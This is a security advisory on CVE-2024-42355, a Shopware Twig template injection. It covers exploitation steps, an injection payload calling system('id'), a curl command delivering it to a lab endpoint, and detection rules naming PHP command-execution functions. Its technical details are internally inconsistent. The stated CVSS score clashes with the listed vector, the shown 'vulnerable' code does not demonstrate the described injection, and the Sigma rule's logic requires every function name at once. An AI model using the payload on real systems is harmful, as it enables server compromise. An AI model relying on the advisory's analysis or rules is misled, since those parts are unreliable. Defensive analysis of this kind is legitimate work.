CVE-2024-42355

Executive Summary

CVE-2024-42355 is a critical code injection vulnerability in the Shopware e-commerce platform, affecting the custom Twig tag sw_silent_feature_call. This tag was introduced to suppress deprecation warnings for specific feature flags. However, the tag's parameter—the feature flag name—is not properly sanitized or escaped before being processed by the Twig template engine. An attacker who can control or influence the input to this tag can inject arbitrary Twig syntax, leading to server-side template injection (SSTI). This can result in remote code execution (RCE), full server compromise, data exfiltration, and lateral movement within the network.

The vulnerability has a CVSS score of 8.3 (High) and affects all Shopware versions prior to 6.6.5.1 and 6.5.8.13. While the EPSS score is currently 0.0%, indicating low exploitation likelihood at the time of analysis, the severity and ease of exploitation (no authentication required) make it a high-priority target for threat actors. No public proof-of-concept (PoC) or exploit code has been released as of this report.

Supply Chain & Package Security

Shopware is distributed as a PHP application via Composer (Packagist) and as a standalone ZIP archive. The vulnerable component is part of the core Shopware platform. Organizations using Shopware should verify their installed version and apply the patch immediately. The security plugin for older versions (6.2, 6.3, 6.4) is available through the Shopware store and should be treated as a critical update.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Full read access to system data.
• Integrity (I): High (H) – Full write access to system data.
• Availability (A): High (H) – Full denial of service or system takeover.

CVSS Score: 8.3 (High) – This vulnerability is critical and should be patched immediately.

Deep Dive & Mechanics

The sw_silent_feature_call Twig tag was introduced to allow developers to call feature-flagged code without triggering deprecation warnings. The tag accepts a single string parameter representing the feature flag name. Internally, Shopware processes this parameter using Twig's {% sw_silent_feature_call 'feature_flag_name' %} syntax.

The vulnerability arises because the parameter is not escaped or validated before being passed to Twig's internal parsing engine. An attacker who can inject a crafted string into this parameter can break out of the intended string context and execute arbitrary Twig code. For example, injecting ' ~ (system('id')) ~ ' would execute the system function with the id command.

The attack vector is typically through user-supplied input that is later used in a Twig template that includes the sw_silent_feature_call tag. This could be via product reviews, custom fields, or any other input that gets rendered in a template.

Vulnerable vs. Patched Code

Vulnerable Code (Shopware < 6.6.5.1 / < 6.5.8.13):

// In the Twig extension that defines the tag
public function getTokenParsers(): array
{
    return [new SilentFeatureCallTokenParser()];
}

// In SilentFeatureCallTokenParser.php
public function parse(Token $token): Node
{
    $stream = $this->parser->getStream();
    $featureName = $stream->expect(Token::STRING_TYPE)->getValue();
    // No sanitization or escaping of $featureName
    $stream->expect(Token::BLOCK_END_TYPE);
    return new SilentFeatureCallNode($featureName);
}

Patched Code (Shopware >= 6.6.5.1 / >= 6.5.8.13):

// In SilentFeatureCallTokenParser.php
public function parse(Token $token): Node
{
    $stream = $this->parser->getStream();
    $featureName = $stream->expect(Token::STRING_TYPE)->getValue();
    // Sanitize: ensure it's a valid feature flag name (alphanumeric + underscore)
    if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $featureName)) {
        throw new \Twig\Error\SyntaxError('Invalid feature flag name.');
    }
    $stream->expect(Token::BLOCK_END_TYPE);
    return new SilentFeatureCallNode($featureName);
}

The patch adds a regular expression check to ensure the feature flag name contains only alphanumeric characters and underscores, preventing injection of Twig syntax.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Shopware instance with a publicly accessible endpoint that renders user input in a Twig template using sw_silent_feature_call.
• No authentication required.

Exploitation Steps:

1. Identify an input field that is rendered in a Twig template (e.g., product review, custom field).
2. Inject a payload into the sw_silent_feature_call parameter. Example payload:

   ' ~ (system('id')) ~ '
   

3. If the template uses {% sw_silent_feature_call user_input %}, the payload will execute the system function.

Proof-of-Concept (Conceptual):

{# Vulnerable template #}
{% sw_silent_feature_call '{{ user_input }}' %}

If user_input is ' ~ (system('id')) ~ ', the resulting Twig code becomes:

{% sw_silent_feature_call '' ~ (system('id')) ~ '' %}

This executes system('id') and outputs the result.

Lab Setup:

1. Deploy a vulnerable Shopware version (e.g., 6.5.0.0) using Docker:

   docker run -d -p 8080:80 shopware/platform:6.5.0.0
   

2. Create a custom Twig template that uses sw_silent_feature_call with user input.
3. Use curl to send a malicious request:

   curl -X POST -d "feature_name=' ~ (system('id')) ~ '" http://localhost:8080/vulnerable-endpoint
   

Blue Team (Detection & Response)

Detection:

• Monitor for unusual Twig template errors or exceptions.
• Look for requests containing special characters like ~, (, ) in parameters that are passed to Twig templates.
• Use WAF rules to block payloads containing system, exec, shell_exec, passthru, popen, proc_open, or eval.

Response:

• Immediately isolate affected servers.
• Review logs for any successful exploitation attempts.
• Apply the patch or security plugin.
• Rotate all secrets and credentials on the compromised system.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing sw_silent_feature_call with suspicious payloads (e.g., system, exec, eval).
  • Outbound connections to unknown IPs or domains from the Shopware server.
• File IOCs:
  • Unexpected files in the var/cache directory (Twig cache).
  • Modified Twig templates in custom/plugins or vendor/shopware.
• System IOCs:
  • Unusual processes running as the web server user.
  • New cron jobs or scheduled tasks.
  • Modified /etc/passwd or /etc/shadow files.

Detection Engineering

YARA Rule

rule CVE_2024_42355_Shopware_Twig_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-42355 in Shopware"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-42355"
    strings:
        $twig_tag = "sw_silent_feature_call"
        $payload1 = /system\s*\(/
        $payload2 = /exec\s*\(/
        $payload3 = /shell_exec\s*\(/
        $payload4 = /passthru\s*\(/
        $payload5 = /popen\s*\(/
        $payload6 = /proc_open\s*\(/
        $payload7 = /eval\s*\(/
    condition:
        $twig_tag and any of ($payload*)
}

Sigma Rule

title: CVE-2024-42355 Shopware Twig Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-42355 via the sw_silent_feature_call Twig tag.
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'sw_silent_feature_call'
        cs-uri-query|contains|all:
            - 'system('
            - 'exec('
            - 'shell_exec('
            - 'passthru('
            - 'popen('
            - 'proc_open('
            - 'eval('
    condition: selection
falsepositives:
    - Legitimate use of system functions in Twig templates (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-42355 Shopware Twig Injection Attempt"; flow:to_server; content:"sw_silent_feature_call"; http_uri; pcre:"/(system|exec|shell_exec|passthru|popen|proc_open|eval)\s*\(/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Shopware 6.6.5.1 or 6.5.8.13 immediately.
2. Plugin: For versions 6.2, 6.3, and 6.4, install the security plugin from the Shopware store.
3. WAF: Deploy a Web Application Firewall rule to block requests containing sw_silent_feature_call with suspicious payloads.

Long-term Measures:

• Implement input validation and output escaping for all user-supplied data in Twig templates.
• Regularly update Shopware and all plugins.
• Conduct security audits of custom Twig templates.
• Monitor for any unusual activity in web server logs.

Valters IT – Securing your digital assets with precision and expertise.